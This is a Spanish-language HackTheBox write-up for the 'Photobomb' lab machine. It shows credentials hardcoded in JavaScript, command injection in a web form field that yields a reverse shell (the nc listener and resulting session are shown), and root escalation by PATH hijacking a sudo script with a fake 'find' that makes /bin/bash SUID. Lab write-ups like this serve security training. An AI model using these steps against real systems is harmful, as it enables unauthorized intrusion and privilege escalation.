Inicio Photobomb Writeup - HackTheBox
Entrada
Cancelar

Photobomb Writeup - HackTheBox

Resumen

Photobomb de la plataforma HackTheBox es una máquina Linux de dificultad Easy creada por slartibartfast.

Esta es una máquina realmente fácil en donde nos encontraremos una injección de comandos en su aplicación web, lo cual nos permitirá obtener una consola. Una vez dentro, podremos escalar privilegios abusando de un Path Hijacking en base a permisos asignados en sudo.

Enumeración

Nmap

Puertos 22/tcp y 80/tcp abiertos.

1
2
3
4
5
6
7
8
9
Nmap scan report for 10.129.228.60
Host is up (0.22s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Inmediatamente vemos un redirect hacia el host photobomb.htb. Lo agregaremos a /etc/hosts

80/tcp - HTTP

Vemos una web muy simple con un enlace que nos lleva a /printer.

La ruta requiere autenticación. Por lo tanto, seguiremos buscando y en el código fuente de la raíz encontraremos un archivo javascript photobomb.js.

Este archivo contiene credenciales.

1
2
3
4
5
6
7
function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

Si pegamos la URL http://pH0t0:b0Mb!@photobomb.htb/printer en nuestro navegador ya nos llevará a /printer autenticados.

User: wizard

La web tiene una herramienta para la descarga de imágenes. Si capturamos el request y lo enviamos a burp veremos que data se está tramitando.

Generaremos un payload para reverse shell en bash con urlencoding con la herramienta rshellz. Utilizaremos la segunda opción.

Intentamos una injección de comandos en el campo filetype pasándole el payload para la shell.

Recibimos un error 504 pero si vemos el listener habremos obtenido una shell como el usuario wizard.

1
2
3
4
5
6
~/scripts ❯ nc -nlvp 4646
Listening on 0.0.0.0 4646
Connection received on 10.129.228.60 41256
bash: cannot set terminal process group (698): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ 

root

Una vez dentro, revisaremos los permisos sudo.

1
2
3
4
5
6
wizard@photobomb:/home/wizard/photobomb$ sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

Podemos ejecutar como root el script /opt/cleanup.sh sin contraseña y además setear una variable de entorno.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
wizard@photobomb:/home/wizard/photobomb$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Revisamos el script e identificamos que el comando find lo llama de forma relativa. Sabiendo esto, creamos nuestro propio find en la ruta /dev/shm.

Podemos simplemente ejecutar una bash, o en este caso agregarle permisos suid a /bin/bash.

1
2
3
4
wizard@photobomb:/dev/shm$ chmod +x find
wizard@photobomb:/dev/shm$ cat find 
#!/bin/bash
chmod u+s /bin/bash

Ahora solo queda ejecutar el script como root y alterando el PATH para priorizar nuestro script.

1
wizard@photobomb:/dev/shm$ sudo PATH=/dev/shm:$PATH /opt/cleanup.sh

Una vez hecho esto ya podremos obtener una shell como root.

1
2
3
4
5
wizard@photobomb:/dev/shm$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
wizard@photobomb:/dev/shm$ bash -p
bash-5.0# whoami
root

Por último, para encontrar las flag, lo podemos hacer fácilmente con el binario original de find.

1
2
3
bash-5.0# find / -type f -name "user.txt" -o -name "root.txt" 2>/dev/null
/home/wizard/user.txt
/root/root.txt

Esta entrada está licenciada bajo CC BY 4.0 por el autor.